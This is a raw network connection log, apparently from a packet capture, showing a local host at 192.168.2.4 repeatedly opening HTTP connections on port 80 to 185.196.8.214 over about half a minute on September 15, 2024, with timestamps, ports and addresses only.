Sep 15, 2024 13:56:17.893956900 CEST	49761	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:17.894296885 CEST	49762	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:17.899250031 CEST	80	49762	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:17.899286032 CEST	80	49761	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:17.899389982 CEST	49761	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:17.899409056 CEST	49762	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:17.899636030 CEST	49762	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:17.904490948 CEST	80	49762	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:18.615401030 CEST	80	49762	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:18.615509987 CEST	49762	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:18.736823082 CEST	49762	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:18.737297058 CEST	49763	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:18.742985964 CEST	80	49762	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:18.743027925 CEST	80	49763	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:18.743097067 CEST	49762	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:18.743168116 CEST	49763	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:18.743433952 CEST	49763	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:18.748198032 CEST	80	49763	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:19.433630943 CEST	80	49763	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:19.433861971 CEST	49763	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:19.549262047 CEST	49763	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:19.549714088 CEST	49764	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:19.554634094 CEST	80	49763	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:19.554699898 CEST	80	49764	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:19.554728031 CEST	49763	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:19.554804087 CEST	49764	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:19.554986954 CEST	49764	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:19.559849977 CEST	80	49764	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:20.247206926 CEST	80	49764	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:20.247297049 CEST	49764	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:20.361754894 CEST	49764	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:20.362232924 CEST	49765	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:20.367013931 CEST	80	49764	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:20.367121935 CEST	49764	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:20.367206097 CEST	80	49765	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:20.367292881 CEST	49765	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:20.367489100 CEST	49765	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:20.373533964 CEST	80	49765	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:21.052726030 CEST	80	49765	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:21.052794933 CEST	49765	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:21.174496889 CEST	49765	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:21.174925089 CEST	49766	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:21.179910898 CEST	80	49765	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:21.179954052 CEST	80	49766	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:21.180001974 CEST	49765	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:21.180061102 CEST	49766	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:21.180286884 CEST	49766	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:21.185164928 CEST	80	49766	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:21.876090050 CEST	80	49766	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:21.876208067 CEST	49766	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:21.987179041 CEST	49766	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:21.992230892 CEST	80	49766	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:22.234103918 CEST	80	49766	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:22.234210014 CEST	49766	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:22.346745968 CEST	49766	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:22.351717949 CEST	80	49766	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:22.583301067 CEST	80	49766	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:22.583462954 CEST	49766	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:22.706028938 CEST	49766	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:22.706454992 CEST	49767	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:22.711247921 CEST	80	49766	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:22.711293936 CEST	80	49767	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:22.711374998 CEST	49766	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:22.711488008 CEST	49767	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:22.711821079 CEST	49767	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:22.716634035 CEST	80	49767	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:23.422576904 CEST	80	49767	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:23.422808886 CEST	49767	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:23.544405937 CEST	49767	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:23.549525023 CEST	80	49767	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:23.785114050 CEST	80	49767	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:23.785207987 CEST	49767	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:23.908493996 CEST	49767	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:23.909109116 CEST	49768	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:23.913903952 CEST	80	49767	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:23.914031029 CEST	49767	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:23.914133072 CEST	80	49768	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:23.914201021 CEST	49768	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:23.914382935 CEST	49768	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:23.919244051 CEST	80	49768	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:24.608568907 CEST	80	49768	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:24.608722925 CEST	49768	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:24.721180916 CEST	49768	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:24.726418972 CEST	80	49768	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:24.958019972 CEST	80	49768	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:24.958189011 CEST	49768	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:25.080939054 CEST	49768	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:25.081393003 CEST	49769	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:25.086473942 CEST	80	49769	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:25.086560011 CEST	80	49768	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:25.086668968 CEST	49768	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:25.086678982 CEST	49769	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:25.086882114 CEST	49769	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:25.091881037 CEST	80	49769	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:25.774142981 CEST	80	49769	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:25.774255991 CEST	49769	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:25.891844988 CEST	49769	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:25.892205954 CEST	49770	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:25.897110939 CEST	80	49770	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:25.897219896 CEST	49770	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:25.897320032 CEST	49770	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:25.897448063 CEST	80	49769	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:25.897499084 CEST	49769	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:25.902189016 CEST	80	49770	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:26.595196009 CEST	80	49770	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:26.595278025 CEST	49770	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:26.704250097 CEST	49770	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:26.709275961 CEST	80	49770	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:26.941339970 CEST	80	49770	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:26.941466093 CEST	49770	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:27.047930002 CEST	49770	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:27.052867889 CEST	80	49770	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:27.290354013 CEST	80	49770	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:27.290489912 CEST	49770	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:27.407430887 CEST	49770	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:27.407885075 CEST	49771	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:27.412625074 CEST	80	49770	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:27.412686110 CEST	49770	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:27.412733078 CEST	80	49771	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:27.412858009 CEST	49771	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:27.413038015 CEST	49771	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:27.417834044 CEST	80	49771	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:28.091331959 CEST	80	49771	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:28.091522932 CEST	49771	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:28.204449892 CEST	49771	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:28.204855919 CEST	49772	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:28.209553957 CEST	80	49771	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:28.209640026 CEST	49771	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:28.209722042 CEST	80	49772	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:28.209786892 CEST	49772	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:28.209939003 CEST	49772	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:28.214767933 CEST	80	49772	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:28.906548977 CEST	80	49772	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:28.906667948 CEST	49772	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:29.016910076 CEST	49772	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:29.021831036 CEST	80	49772	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:29.258594990 CEST	80	49772	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:29.258690119 CEST	49772	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:29.376456976 CEST	49772	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:29.376851082 CEST	49773	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:29.381805897 CEST	80	49773	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:29.381925106 CEST	49773	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:29.381977081 CEST	80	49772	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:29.382031918 CEST	49772	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:29.382143974 CEST	49773	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:29.386908054 CEST	80	49773	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:30.081876993 CEST	80	49773	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:30.081968069 CEST	49773	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:30.219573975 CEST	49773	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:30.219887018 CEST	49774	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:30.224802971 CEST	80	49774	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:30.224900961 CEST	49774	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:30.224922895 CEST	80	49773	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:30.224973917 CEST	49773	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:30.225095987 CEST	49774	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:30.229917049 CEST	80	49774	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:30.922903061 CEST	80	49774	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:30.923177004 CEST	49774	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:31.033176899 CEST	49774	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:31.038808107 CEST	80	49774	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:31.279489994 CEST	80	49774	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:31.279978037 CEST	49774	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:31.391963959 CEST	49774	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:31.397167921 CEST	80	49774	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:31.629300117 CEST	80	49774	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:31.629543066 CEST	49774	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:31.751550913 CEST	49774	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:31.751946926 CEST	49775	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:31.758021116 CEST	80	49775	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:31.758147955 CEST	49775	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:31.758198023 CEST	80	49774	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:31.758235931 CEST	49775	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:31.758255959 CEST	49774	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:31.764174938 CEST	80	49775	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:32.447911978 CEST	80	49775	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:32.451725006 CEST	49775	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:32.663362980 CEST	49775	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:32.666594028 CEST	49776	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:32.668749094 CEST	80	49775	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:32.670562983 CEST	49775	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:32.671648026 CEST	80	49776	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:32.674129963 CEST	49776	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:32.674302101 CEST	49776	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:32.679146051 CEST	80	49776	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:33.366411924 CEST	80	49776	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:33.366497040 CEST	49776	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:33.485491991 CEST	49776	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:33.485861063 CEST	49777	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:33.490767002 CEST	80	49777	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:33.490825891 CEST	80	49776	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:33.490864038 CEST	49777	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:33.490871906 CEST	49776	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:33.491055012 CEST	49777	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:33.495845079 CEST	80	49777	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:34.199765921 CEST	80	49777	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:34.200081110 CEST	49777	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:34.315903902 CEST	49777	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:34.316261053 CEST	49778	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:34.321547031 CEST	80	49778	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:34.321654081 CEST	49778	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:34.321768999 CEST	49778	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:34.321907997 CEST	80	49777	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:34.321978092 CEST	49777	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:34.327153921 CEST	80	49778	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:35.007534981 CEST	80	49778	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:35.007644892 CEST	49778	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:35.198472977 CEST	49778	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:35.198856115 CEST	49779	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:35.203738928 CEST	80	49779	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:35.203804970 CEST	49779	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:35.203867912 CEST	80	49778	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:35.203916073 CEST	49778	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:35.210097075 CEST	49779	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:35.214890003 CEST	80	49779	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:35.896727085 CEST	80	49779	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:35.896888971 CEST	49779	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:36.016688108 CEST	49779	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:36.017044067 CEST	49780	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:36.022393942 CEST	80	49779	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:36.022414923 CEST	80	49780	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:36.022489071 CEST	49779	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:36.022526026 CEST	49780	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:36.022664070 CEST	49780	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:36.027621984 CEST	80	49780	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:36.718580961 CEST	80	49780	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:36.718667030 CEST	49780	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:36.829334021 CEST	49780	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:36.834399939 CEST	80	49780	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:37.066749096 CEST	80	49780	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:37.068583965 CEST	49780	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:37.193337917 CEST	49780	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:37.193684101 CEST	49781	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:37.198688030 CEST	80	49780	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:37.198755026 CEST	80	49781	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:37.198777914 CEST	49780	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:37.198848009 CEST	49781	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:37.198996067 CEST	49781	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:37.204000950 CEST	80	49781	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:37.892420053 CEST	80	49781	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:37.892509937 CEST	49781	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:38.023269892 CEST	49781	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:38.023611069 CEST	49782	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:38.028934002 CEST	80	49782	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:38.028980970 CEST	80	49781	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:38.029031992 CEST	49782	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:38.029067993 CEST	49781	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:38.029206991 CEST	49782	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:38.034704924 CEST	80	49782	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:38.735704899 CEST	80	49782	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:38.735982895 CEST	49782	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:38.846863985 CEST	49782	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:38.853403091 CEST	80	49782	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:39.087316036 CEST	80	49782	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:39.087426901 CEST	49782	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:39.204190016 CEST	49782	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:39.204528093 CEST	49783	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:39.213248968 CEST	80	49782	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:39.213293076 CEST	80	49783	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:39.213428974 CEST	49782	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:39.213485956 CEST	49783	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:39.213638067 CEST	49783	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:39.223054886 CEST	80	49783	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:39.932142019 CEST	80	49783	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:39.932333946 CEST	49783	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:40.047702074 CEST	49783	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:40.048178911 CEST	49784	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:40.053498983 CEST	80	49784	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:40.053586006 CEST	80	49783	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:40.053649902 CEST	49784	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:40.053683043 CEST	49783	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:40.053845882 CEST	49784	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:40.058814049 CEST	80	49784	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:40.779686928 CEST	80	49784	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:40.779892921 CEST	49784	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:40.891763926 CEST	49784	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:40.892076969 CEST	49785	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:40.897053957 CEST	80	49785	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:40.897123098 CEST	49785	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:40.897142887 CEST	80	49784	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:40.897243023 CEST	49784	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:40.897407055 CEST	49785	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:40.911461115 CEST	80	49785	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:41.595905066 CEST	80	49785	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:41.595992088 CEST	49785	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:41.709767103 CEST	49785	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:41.717469931 CEST	80	49785	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:41.949868917 CEST	80	49785	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:41.950046062 CEST	49785	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:42.067629099 CEST	49785	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:42.068077087 CEST	49786	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:42.072876930 CEST	80	49785	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:42.072999954 CEST	80	49786	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:42.073005915 CEST	49785	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:42.073061943 CEST	49786	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:42.073271990 CEST	49786	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:42.078099966 CEST	80	49786	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:42.790877104 CEST	80	49786	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:42.793730974 CEST	49786	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:42.908479929 CEST	49786	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:42.908926010 CEST	49787	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:42.914424896 CEST	80	49787	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:42.914551020 CEST	80	49786	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:42.914638996 CEST	49787	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:42.914774895 CEST	49786	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:42.914905071 CEST	49787	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:42.919771910 CEST	80	49787	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:43.631731033 CEST	80	49787	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:43.632047892 CEST	49787	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:43.761377096 CEST	49787	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:43.761609077 CEST	49788	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:43.767091036 CEST	80	49788	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:43.767406940 CEST	49788	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:43.767550945 CEST	80	49787	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:43.767630100 CEST	49788	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:43.767777920 CEST	49787	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:43.772768021 CEST	80	49788	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:44.464615107 CEST	80	49788	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:44.464710951 CEST	49788	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:44.580192089 CEST	49788	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:44.580708027 CEST	49789	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:44.585481882 CEST	80	49788	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:44.585556030 CEST	49788	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:44.585653067 CEST	80	49789	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:44.585728884 CEST	49789	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:44.585840940 CEST	49789	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:44.590660095 CEST	80	49789	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:45.302161932 CEST	80	49789	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:45.302300930 CEST	49789	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:45.423994064 CEST	49789	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:45.424457073 CEST	49790	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:45.429526091 CEST	80	49789	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:45.429569006 CEST	80	49790	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:45.429708958 CEST	49789	80	192.168.2.4	185.196.8.214
